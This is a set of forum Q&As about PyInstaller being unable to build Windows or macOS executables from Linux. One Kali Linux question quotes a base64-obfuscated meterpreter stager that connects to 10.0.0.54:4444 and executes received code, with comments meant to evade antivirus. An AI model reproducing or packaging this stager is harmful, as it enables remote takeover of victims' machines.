pyinstaller not outputting .app - python

I am running the command pyinstaller --onefile --windowed /myapp.py. According to the docs, this should output executables for windows as well as .app for MacOS. However, I am only getting one output and not the .app.

They don't make this obvious from the website, but from the docs:
If you need to distribute your application for more than one OS, for
example both Windows and Mac OS X, you must install PyInstaller on
each platform and bundle your app separately on each.
So you'll need to package it on a Mac, sorry.

Related

How can I convert .py to .exe on Linux?

I'm trying to convert my python file to a .exe file.
The issue is, I'm using linux, and I can't use pyinstaller or cx_freeze to make .exe files from
.py.
Is there any way to do it?
I'm using Python 3.7.3 on Debian Linux.
TLDR: You can't.
You should be able to use PyInstaller to create executable files as it is compatible with Linux systems:
https://pyinstaller.readthedocs.io/en/stable/requirements.html#gnu-linux
pip install pyinstaller
cd /path/to/your/program
pyinstaller --onefile yourscript.py
However, at least for pyinstaller, there is no way to bundle an executable file for Windows on a Linux system that I know of:
The output of PyInstaller is specific to the active operating system and the active
version of Python. This means that to prepare a distribution for:
a different OS
a different version of Python
a 32-bit or 64-bit OS
you run PyInstaller on that OS, under that version of Python. The Python interpreter
that executes PyInstaller is part of the bundle, and it is specific to the OS and the
word size.
Source: https://pyinstaller.readthedocs.io/en/stable/operating-mode.html

Is there a way to turn my python script (that I wrote in an Ubuntu docker image) into an executable for Windows?

Made a python script in Ubuntu, but I read that pyinstaller compiles based on the operating system, so if I compile it on Ubuntu, it'll be for Ubuntu. How can I make an executable in Ubuntu, for Windows, or do I have to export my script into my Windows OS and compile it there?
From PyInstaller’s documentation:
If you need to distribute your application for more than one OS, for example both Windows and Mac OS X, you must install PyInstaller on each platform and bundle your app separately on each.
So, yes, you generally must run PyInstaller on the operating system the emitted binary will be run on. The documentation does suggest using a virtual machine and that running PyInstaller with WINE may work.

Compiling Python to .EXE instead of .ELF on Linux

I am compiling a Python code on Kali Linux. I want to produce an .exe file to run on Windows. These are the following settings for PyInstaller:
pyinstaller -F /root/Desktop/Evil_private.py -i Evil_Private.exe
and the code is just meterpreter with some comments to avoid Anti-virus detection. The following code is:
import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]
('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQ0KI0kgYW0gbm90IGEgc2NyaXB0IGtpZGRpZQ0KZm9yIHggaW4gcmFuZ2UoMTApOg0KCXRyeToNCgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQ0KCQlzLmNvbm5lY3QoKCcxMC4wLjAuNTQnLDQ0NDQpKQ0KCQlicmVhaw0KCWV4Y2VwdDoNCgkJdGltZS5zbGVlcCg1KQ0KbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQ0KZD1zLnJlY3YobCkNCiNOaWNlIEFOVEktViBicm8sIFdIT0FBQUENCndoaWxlIGxlbihkKTxsOg0KCWQrPXMucmVjdihsLWxlbihkKSkNCmV4ZWMoZCx7J3MnOnN9KQ0K')))
When I compile it, I receive a .ELF file instead of .EXE. Maybe I could have the directory wrong? I do not think this is so, as I have checked most directories associated with PyInstaller. I have read the guide to PyInstaller, but it seems to be of no use. Is there any solution to compile Python code on Linux to get a .exe file for Windows?
From the documentation:
The output of PyInstaller is specific to the active operating system and the active version of Python. This means that to prepare a distribution for:
a different OS
a different version of Python
a 32-bit or 64-bit OS
you run PyInstaller on that OS, under that version of Python. The Python interpreter that executes PyInstaller is part of the bundle, and it is specific to the OS and the word size.
You cannot generate a .exe under Kali running its Python.
Ignacio's answer is correct. The Linux version of pyinstaller will not build Windows PEs.
A [convoluted] workaround is install wine, then install python on wine (and pyinstaller on wine).
Then run wine's pyinstaller to build the exe.

Pyinstaller on Kali to create exe for Windows XP

I am using Pyinstaller on Kali Linux 2 to create .exe to run on Windows XP.
So far, pyinstaller is successful at creating .exe that works on Kali Linux, but not Windows
Here is the python code
import webbrowser
webbrowser.open('http://www.cnn.com')
This is the command I ran on Kali Linux
~/Downloads/PyInstaller-3.2/pyinstaller.py --onefile --windowed --noupx open.py
When I open the resulting open.exe in Kali, it opens www.cnn.com. But if I email this attachment and open in Windows XP, it asks
When I save and try to execute, it says ..... How to troubleshoot this?
And when I click open is shows following. How to make it open with double-click?
From the PyInstaller documentation:
If you need to distribute your application for more than one OS, for example both Windows and Mac OS X, you must install PyInstaller on each platform and bundle your app separately on each.
So, to make an app which runs on Windows, you have to create it using PyInstaller on Windows.
Rafalmp is correct you must use a Windows machine to compile it. Alternatively you can use Wine, if you didn't have access to a Windows machine.
For more info please refer to Pyinstaller FAQ
Windows Defender assumes that externally sourced executables, especially those without cryptographic signature, may be malware. Try clicking "Open."

cx_freeze doesn't make Python apps standalone

cx_freeze makes python apps only executable. If python or neccessary modules is not installed, app doesn't open. How can i make Python 2.7 apps standalone with cx_freeze or any other app? (For Linux)
pyinstaller works under linux and also windows / OS X, look at http://pythonhosted.org/PyInstaller/
first simply do: pip install pyinstaller
to package your app: pyinstaller --onefile yourfile.py
Simple enough, isn't it?

Categories